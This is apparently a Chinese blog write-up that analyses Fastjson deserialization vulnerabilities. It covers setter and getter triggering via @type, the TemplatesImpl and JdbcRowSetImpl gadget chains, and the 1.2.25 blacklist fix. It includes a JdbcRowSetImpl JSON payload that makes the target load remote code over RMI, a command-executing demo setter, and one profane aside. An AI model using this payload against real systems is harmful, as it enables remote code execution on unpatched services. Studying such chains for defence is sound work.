前言
Quick Start CN · alibaba/fastjson Wiki (github.com)
fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
FASTJSON 2.0介绍 | fastjson2 (alibaba.github.io)
FASTJSON 2.0支持JSON/JSONB
两种协议并且性能相较于一代有所提高。但是不能做到完全兼容。
依赖添加和基础使用以及为何触发Getter/Setter方法
先看一个Demo来了解一下FastJson反序列化漏洞的触发点。
1 | <dependency> |
User类
1 | import java.io.IOException; |
在Age的setter方法中加入了执行命令的代码。
Test类
1 | import com.alibaba.fastjson.JSONObject; |
注意Test类使用@type标签指定了将JSON内容反序列化成User对象/Json对象,并且会调用这个类的setter方法。FastJson反序列化漏洞的关键就是这个
反序列化又下面两种形式都可以。前者是反序列化成json对象,后者反序列化成User对象。
把如果放入getter方法中只有反序列化生成JSON对象才会弹计算器了。
setter 更新变量的值,而 getter 读取变量的值。
然后在序列化生成json字符串的时候会调用getter方法
接下来debug一下来逐一分析
反序列化
先看看反序列化是如何触发setter方法的
直接在User的setAge方法的Runtime.getRuntime().exec("Calc");
打上断点即可得到调用堆栈
1 | setAge:40, User |
重点看到com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)
方法,根据传入的json格式的字符串获取到key,然后再获取到User类
然后这里通过ASM生成User对象,然后在生成对象的时候调用了getter方法
ASM是一个能够不通过.java文件而直接修改.class文件的字节码操控框架。
Fastjson之所以速度快,原因之一是它使用了ASM。按照通常思路,反序列化应该是反射调用set方法进行属性设置。 这种方法是最简单的,但也是最低效的。而Fastjson使用ASM自己编写字节码,然后通过ClassLoader将字节码加载成类,避免了反射开销,大大增强了性能。
重新在com.alibaba.fastjson.util.JavaBeanInfo#build
方法打一个断点进行调试。
获取到全部方法,并且下面的代码会判断是否为getter和setter方法,将这些方法添加到字段信息列表中
然后调用这些setter方法将值设置进去,因为是ASM动态生成的字节码,所以没法进去调试。
那为什么生成JSON对象会调用getter方法呢?接下来接着看。
其实在com.alibaba.fastjson.JSON#parseObject(java.lang.String)
方法中可以看到parseObject就是实现了parse方法后又去调用了com.alibaba.fastjson.JSON#toJSON(java.lang.Object)
方法
最后在com.alibaba.fastjson.serializer.JavaBeanSerializer#getFieldValuesMap
方法循环调用了getter方法
小结一下,setter方法的调用是在给对象设置值的时候调用的,这个对象是ASM生成的。而getter方法是将User类对象转换为JSON对象的时候需要将对象put到Map里面的时候调用了。
parse(String text) | parseObject(String text) | parseObject(String text, Class clazz) | |
---|---|---|---|
Setter调用情况 | 全部 | 全部 | 全部 |
Getter调用情况 | 部分 | 部分 | 全部 |
ps:再调用定义private Properties方法的时候才会调getter。 |
此外,如果目标类中私有变量没有setter方法,但是在反序列化时仍想给这个变量赋值,则需要使用Feature.SupportNonPublicField参数。(在下文中,为TemplatesImpl类中无setter方法的私有变量_tfactory
以及_name
赋值运用到的就是这个知识点)
序列化
接下来来看序列化哪里调用了getter方法。
在com.alibaba.fastjson.JSON#toJSONString(java.lang.Object, com.alibaba.fastjson.serializer.SerializeConfig, com.alibaba.fastjson.serializer.SerializeFilter[], java.lang.String, int, com.alibaba.fastjson.serializer.SerializerFeature...)
方法通过com.alibaba.fastjson.serializer.JSONSerializer#write(java.lang.Object)
方法去提取对象中的属性。
然后调用到ASM生成的ASMSerializer_1_User (com.alibaba.fastjson.serializer)
方法的write。可以看到所有getter方法。
调用getter方法来读取变量的值。
接下来再简单看看如何获取到getter方法吧。
在com.alibaba.fastjson.util.FieldInfo#FieldInfo(java.lang.String, java.lang.reflect.Method, java.lang.reflect.Field, java.lang.Class<?>, java.lang.reflect.Type, int, int, int, com.alibaba.fastjson.annotation.JSONField, com.alibaba.fastjson.annotation.JSONField, java.lang.String)
打上断点看一下调用堆栈。
1 | <init>:102, FieldInfo (com.alibaba.fastjson.util) |
利用链
经过上面的分析,想必已经明白如果是反序列化我们现在需要寻找getter方法或者setter方法的利用链来进行执行命令。可以想到的有
TemplatesImpl#getOutputProperties
JdbcRowsetImpl#getDatabaseMetaData
或者直接通过Java反序列化触发toString接上去toJSONString。
第一个不能利用,因为getter的调用是一个一个来的,如果中途报错,流程就会中断。很不幸这个getOutputProperties方法在错误的方法后面。所以无法被调用了。或者不符合要求也不会执行。
反序列化
影响版本:1.2.22-1.2.24
TemplatesImpl
Fastjson通过bytecodes
字段传入恶意类,调用outputProperties属性的getter方法时,实例化传入的恶意类,调用其构造方法,造成任意命令执行。
这个使用比较苛刻,具体体现在:
两种反序列化都需要在入口有参数
parse(String,Feature.SupportNonPublicField)
JSONObject.parseObject(str, Feature.SupportNonPublicField)
因为使用TemplatesImpl需要设置多个属性值,如果某属性不存在set方法,但还想设置值时,需要开启Feature.SupportNonPublicField
参数
他妈的为什么这个parse能调用getter方法,给老子想尼玛半天都没搞明白
复现
1 | package exp; |
生成payload
调用堆栈
1 | exec:443, Runtime (java.lang) |
重点看到com.alibaba.fastjson.parser.deserializer.FieldDeserializer#setValue(java.lang.Object, java.lang.Object)
可以看到getter方法是从fildInfo对象获取的,然后通过反射执行。findinfo是由com.alibaba.fastjson.util.JavaBeanInfo#build
新建的,之前分析过会把getter方法和setter方法放进去。
好吧,,,,,,,原来有这么多判断,所以会根据类型来判断后续的操作,就是正好前面的判断都不满足,又正好public synchronized java.util.Properties com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
对象的getOutputProperties()
方法的正式返回类型又为Map,所以可以执行判断语句内的语句,进而执行了里面的反射执行了方法。
所以只会调用部分getter方法。
JdbcRowSetImpl#setDataSourceName
直接用工具起一个恶意的rmi服务
poc
1 | String str = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/3u7jww\", \"autoCommit\":true}"; |
注意这里autoCommit一定要设置ture/false。
重点看到com.sun.rowset.JdbcRowSetImpl#setAutoCommit
方法,先判断有没有值然后再调用了com.sun.rowset.JdbcRowSetImpl#connect
方法。
这个com.sun.rowset.JdbcRowSetImpl#connect
方法lookup我们传入的那个RMI协议的地址和端口,就加载了远程代码。
序列化
这里的序列化指的是JSON对象,是指利用toJSONString来触发getter方法。演示直接暴力一点,用JDK的反序列化作为入口来触发这个。
fastjson1
利用条件<=1.2.24
poc
1 | package exp; |
调用堆栈
1 | exec:443, Runtime (java.lang) |
就是让javax.management.BadAttributeValueExpException#readObject
调用toJSONString
方法
fastjson2
利用条件<=2.0.26
一样可以的。把包改成fastjson2。
后记
注意几个点啊,JNDI在高版本JDK就不能使用了。
来看看如何修复的。
把版本切换成1.2.25
从1.2.25开始对这个漏洞进行了修补,修补方式是将TypeUtils.loadClass替换为checkAutoType()函数:
使用白名单和黑名单的方式来限制反序列化的类,只有当白名单不通过时才会进行黑名单判断,这种方法显然是不安全的,白名单似乎没有起到防护作用,后续的绕过都是不在白名单内来绕过黑名单的方式,黑名单里面禁止了一些常见的反序列化漏洞利用链
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22 bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework
这篇作为学习FastJson的开始,后续再继续学习。
参考
Fastjson 1.2.22-1.2.24反序列化漏洞分析 - 先知社区 (aliyun.com)
FastJson与原生反序列化 (y4tacker.github.io)
FastJson与原生反序列化(二) (y4tacker.github.io)
Fastjson不出网利用总结 - 先知社区 (aliyun.com)
[18 模块系统:怎么模块化你的应用程序? (lianglianglee.com)](https://learn.lianglianglee.com/专栏/深入剖析Java新特性/18 模块系统:怎么模块化你的应用程序?.md)